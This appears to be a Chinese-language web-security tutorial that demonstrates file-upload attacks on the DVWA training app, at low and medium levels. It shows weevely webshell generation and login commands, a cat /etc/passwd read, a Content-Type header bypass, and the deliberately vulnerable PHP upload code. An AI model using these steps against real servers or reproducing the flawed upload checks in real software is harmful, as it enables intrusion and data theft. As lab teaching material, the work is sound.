說起文件上傳漏洞 ,可謂是印象深刻。有次公司的網站突然訪問不到了,同事去服務器看了一下。所有 webroot 文件夾下的所有文件都被重命名成其他文件,比如 jsp 文件變成 jsp.s ,以致于路徑映射不到 jsp 文件,同時懷疑是攻擊者上傳了個 webshell 文件然后進行批量重命名了。
把后臺的代碼都找了一遍,后臺代碼也都有驗證文件擴展名的,后面是發現一張普通的照片其實是代碼來的,但也不知道為何能夠執行。但看完這篇文章你就會明白了。 下面用 dvwa 來演示如何攻擊和防御。
低級
用戶界面是這樣的,是一個簡單的上傳文件功能。
然而 Hacker 就上傳一個 phpinfo.php 文件
<?
phpinfo();
?>
。。。結果如下
然后打開鏈接 http://192.168.0.110:5678/hackable/uploads/phpinfo.php ,又看到熟悉的界面了。
Hacker 想用 webshell 的方式嘗試一下。于是就用 Kali linux 預裝的 weevely 工具生成一個 webshell 文件,這里的 123456 是密碼,這個 webshell 要用密碼登錄的。
① 200多本網絡安全系列電子書
② 網絡安全標準題庫資料
③ 項目源碼
④ 網絡安全基礎入門、Linux、web安全、攻防視頻
⑤ 網絡安全學習路線
免費領取私信”安全“
weevely generate 123456 /root/webshell.php
Generated backdoor with password '123456' in '/root/webshell.php' of 1479 byte size.
上傳完文件后,登錄
weevely http://192.168.0.110:5678/hackable/uploads/webshell.php 123456
weevely> ls
dvwa_email.png
webshell.php
www-data@56e69b5b67b6:/var/www/html/hackable/uploads $ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
就變成你的地盤我做主了。 再來看看低級代碼。
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
為何會變成這樣的呢?覺得主要是沒有限制文件擴展名吧。
中級
而中級代碼,多了文件類型和文件大小的限制
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
這里代碼看上去好像類型都判斷了,應該是不能上傳 php 代碼了吧。 然而 Hacker 打開火狐瀏覽器的調試器(谷歌瀏覽器沒有修改功能,用 brup suite 之類的抓包也可以的),找到對應請求后右鍵選擇-> edit and resend 然后將頭部的 content-type 改掉,再重發請求
結果如下
打開鏈接 http://192.168.0.110:5678/hackable/uploads/phpinfo.php ,依然能看到熟悉的界面。